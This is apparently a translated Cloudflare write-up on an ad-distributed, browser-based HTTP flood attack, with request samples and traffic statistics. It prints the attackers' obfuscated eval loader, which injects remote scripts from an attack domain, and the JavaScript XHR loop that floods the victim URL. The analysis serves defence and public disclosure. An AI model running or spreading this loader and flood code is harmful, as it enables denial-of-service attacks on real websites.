CloudFlare一直是DDoS的目标。我们可以看到僵尸网络使用了各种攻击方式,从DNS反射攻击到 L7 HTTP 洪水攻击。
最近一个不寻常的洪水引起了我们的注意。一位工程师注意到了大量的针对我们某位客户的HTTP请求。
请求
这是一个请求:
POST /js/404.js HTTP/1.1
Host: www.victim.com
Connection: keep-alive
Content-Length: 426
Origin: http://attacksite.com
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI 4LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/42.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://attacksite.com/html/part/86.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata
我们收到了数以百万计的类似请求,很明显是洪水攻击。我们来深入分析一下这个请求。
首先,header看起来是合法的。通常我们看到的洪水是由Python或者Ruby脚本模拟生成的,它们的Accept-Language或者User-Agent头会看起来很奇怪。但这个看起来不像。这个请求看起来是由真实的浏览器发出的请求。
接下来,注意请求是采用的POST方式,并且包含一个Origin头——这表明它是一个Ajax (XHR)的跨域调用(cross origin call)。
最后,Referer头显示出发起这些请求的来源。我们检查了这个URL,它是正确的,并且可以访问。
基于浏览器的洪水
基于浏览器的L7洪水攻击理论已经有很长时间了。对于它们的工作原理,Nick Sullivan曾作过解释。
在2010年,Lavakumar Kuppan 提出了滥用浏览器的HTML5特性进行DoS攻击。然后在2013年, Jeremiah Grossman 和 Matt Johansen提出了在网页广告中嵌入恶意的JavaScript作为攻击向量。今年有一篇论文也讨论过这种攻击方式的理论成本。
似乎最大的困难并不在于构造JavaScript,而是在于有效的进行分发。要进行大规模的洪水攻击,向量的分发是至关重要的,因此直到现在,我们并没有看到太多基于浏览器的大规模洪水攻击。
这就是为什么我说这次洪水非常有趣——它非常大,达到了每秒275000多个HTTP请求。
攻击页面
我们通过Referer头对来源进行了调查。调查过程是有趣的。
Referer中的链接网页看起来像是一个链接农场或者广告聚合器——你可以想象一下数十个闪烁的横幅链接集中在一个页面上。在下面的讨论中,我们称这个页面“攻击页面”。这个页面只有基本的HTML和几个简单的JavaScript文件。它加载了三个JavaScript文件,其中一个名叫count.js。它包含一些不明显的document.write语句,之后是50个空行和这段混淆代码
eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-8]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('2.3("<0 4=\"5://6.anotherattacksite.7/8/1/jquery2.1\"></0>");2.3("<0 4=\"5://6.anotherattacksite.7/8/1/jquery1.1\"></0>");',[],9,'script|js|document|writeln|src|http|www|com|css'.split('|'),0,{}))
调整后显示如下
document.writeln("<script src="http://www.anotherattacksite.com/css/js/jquery2.js"></script>");
document.writeln("<script src="http://www.anotherattacksite.com/css/js/jquery1.js"></script>");
这个jquery2.js中包含一个恶意的JavaScript。并不是太复杂,这里有一个片段:
var t_postdata='id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata';
var t_url8='http://www.victim.com/js/404.js';
function post_send() {
var xmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url8,true);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
function r_send() {
setTimeout("post_send()", 50);
}
if(!+[1,]) { //IE下不执行。
var fghj=1;
} else {
setTimeout("post_send()", 3000);
}
上面的恶意脚本就启动了一个XHR循环。
它使用了一个非常聪明的方式来检测IE。我们之前没注意到if(!+[1,])可以用来检测IE9及以上版本。
分析日志
上述图表显示了洪水随着时间推移增加,峰值大概是在14:00。在那一天内我们收到了45亿个针对目标域的请求,来自于65万个不同的IP。
因为洪水很有趣,我们就写了个脚本来进一步分析了其中一部分17M大小的日志,约占总数的0.4%。
我们的系统可以从user agent中提取出设备类型——大概80%的请求来自于移动设备
72% mobile
23% desktop
5% tablet
Referer中的URL没有明确的模式。域的分布相当均匀。攻击者可能持有大量域名:
27.0% http://www.attacksite1.com
10.1% http://www.attacksite2.com
8.2% http://www.attacksite3.com
3.7% http://www.attacksite4.com
1.6% http://www.attacksite5.com
1.2% http://www.attacksite6.com
...
向量分发
分析部分结束,现在开始猜测。我们无法知道为什么会有这么多移动设备访问攻击页面,但最合理的猜测它是通过广告网络分发向量。向用户提供的广告中包含恶意JavaScript。这个广告很可能位于移动应用的iframe中,或者直接是在手机浏览器中。
回顾一下,我们认为可能发生了这些内容:
用户使用智能手机打开一个应用或者打开浏览器浏览网页。
用户加载广告服务的iframe
从广告网络请求广告内容。
广告网络将请求转发给第三方
第三方是攻击页面,或者它将用户转到攻击页面
用户加载攻击页面后,页面中包含的恶意JavaScript对CloudFlare的服务器使用XHR请求发起了洪水攻击。
这样的攻击产生了一个新趋势。要防御这种类型的洪水攻击对于小型网站来说并不容易。好消息是CloudFlare能够自动处理这些攻击,从而没有洪水HTTP请求能够到达客户的基础设施。
尽管它用的方式仍然是之前的研究成果,并没有新内容,但我们认为公布这些细节有助于帮助公众了解这些,希望能够帮助到其他人。